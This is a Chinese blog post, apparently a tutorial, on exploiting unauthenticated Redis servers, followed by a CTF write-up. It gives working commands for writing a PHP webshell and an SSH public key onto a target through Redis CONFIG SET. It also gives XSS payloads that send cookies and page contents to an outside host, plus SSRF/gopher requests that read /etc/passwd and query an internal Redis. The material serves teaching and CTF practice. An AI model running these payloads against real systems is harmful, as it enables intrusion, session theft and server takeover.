redis未授权访问漏洞 漏洞复现 漏洞利用方式

Burpsuite, 个人隐私保护, 技能树, 渗透测试, 漏洞, 黑客技术

redis未授权访问漏洞 漏洞复现 漏洞利用方式

1.什么是redis未授权访问漏洞：

Redis 默认情况下，会绑定在 0.0.0.0:6379，，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说，漏洞的产生条件有以下两点：

（1）redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略，直接暴露在公网；

（2）没有设置密码认证（一般为空），可以免密码远程登录redis服务。 

2.漏洞的危害：redis未授权访问漏洞

（1）攻击者无需认证访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意执行flushall来清空所有数据；

（2）攻击者可通过EVAL执行lua代码，或通过数据备份功能往磁盘写入后门文件；

（3）最严重的情况，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器

redis是一种以key-value为键值对的非关系型数据库
redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
它通常被称为数据结构服务器，因为值（value）可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

安装服务

win

下载地址：https://github.com/MSOpenTech/redis/releases
测试环境：

操作系统：win7
ip：192.168.107.144
redis未授权访问漏洞
redis未授权访问漏洞
redis未授权访问漏洞


命令行输入
redis-server.exe redis.conf

接着查看端口

6379端口（redis默认端口）已经打开
redis成功启动

ubuntu

安装

sudo apt-get update
sudo apt-get install redis-server

启动服务

redis-server

基本命令

连接redis

redis-cli.exe -h 192.168.107.144

查看键为x的值

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

get所有key

redis 192.168.107.144:6379> keys *
1) "x"

删除所有键

redis 192.168.107.144:6379>flushall

漏洞利用 redis未授权访问漏洞

redis未授权访问漏洞
redis未授权访问漏洞
redis未授权访问漏洞

本机通过telnet命令主动去连接目标机

或者通过redis-cli.exe -h 192.168.107.144连接

连接成功
输入info获取相关信息
可以看到redis版本号等

利用方式

  • 写入一句话webshell
  • 写入ssh公钥

写入shell

redis未授权访问漏洞
//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

成功写入目标机

redis未授权访问漏洞

写入ssh公钥

redis未授权访问漏洞

在本地生成一对密钥
root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

接着将ssh公钥写入靶机

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存

再到本地去连接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa [email protected]

即可

CTF中的redis（XSS->SSRF&Gopher->Redis）

redis未授权访问漏洞

题目为

题目地址：https://hackme.inndy.tw/scoreboard/

xeeme

泄露

redis未授权访问漏洞
redis未授权访问漏洞


在robots.txt发现泄露源码
是加密了的config.php

xss打cookie

redis未授权访问漏洞
redis未授权访问漏洞

注册登陆后的界面

发邮件有验证

验证写个脚本即可

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>
redis未授权访问漏洞
redis未授权访问漏洞
redis未授权访问漏洞

然后过滤了一些东西

用img测试

onload也过滤了

这里注意到一个细节，过滤的是空格加上onerror，猜想是匹配到有空格的onerror才会过滤，于是构造没有空格的onerror，尝试payload

<img src=""onerror="document.location='http://vps/?a='+document.cookie">
redis未授权访问漏洞

然后打cookie,成功打到cookie

将SESSION解码

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf leak redis未授权访问漏洞

redis未授权访问漏洞

根据上一题的cookie,FLAG_2=IN_THE_REDIS
还是一样的环境
因为拿到了管理员的cookie，于是登陆一下

需要本地登陆，尝试一下伪造xff头
换了几个ip头都没用
于是想到之前做的题，可以直接去打管理员页面的源码
这里 不知道为什么 xss平台接收不到，于是换了一个平台
利用payload
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">

发现innerhtml被过滤
于是html编码

<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">
redis未授权访问漏洞
redis未授权访问漏洞

发现收到请求

解个码，放在本地

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://vps?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
redis未授权访问漏洞

vps收到请求

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post请求的url参数
尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
redis未授权访问漏洞
redis未授权访问漏洞

成功读到/etc/passwd

于是读之前的config.php

FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}

xssrf redis（ssrf+gopher拿下flag）

根据flag的提示，redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">
redis未授权访问漏洞
redis未redis未授权访问漏洞授权访问漏洞
redis未授权访问漏洞
redis未授权访问漏洞
redis未授权访问漏洞
redis未授权访问漏洞


成功获取info
查看一下keys
xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

去读
既然有flag键，那么直接去读flag的值
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

类型不符合
于是查看类型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

是list，返回列表长度
xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

那么获取所有元素
xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

from

安全行业开源漏洞扫描器 Scanners Box

暗网网址2019 更新131条暗网网址 暗网地址
小丑账号 小丑账号注册 小丑网站介绍

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注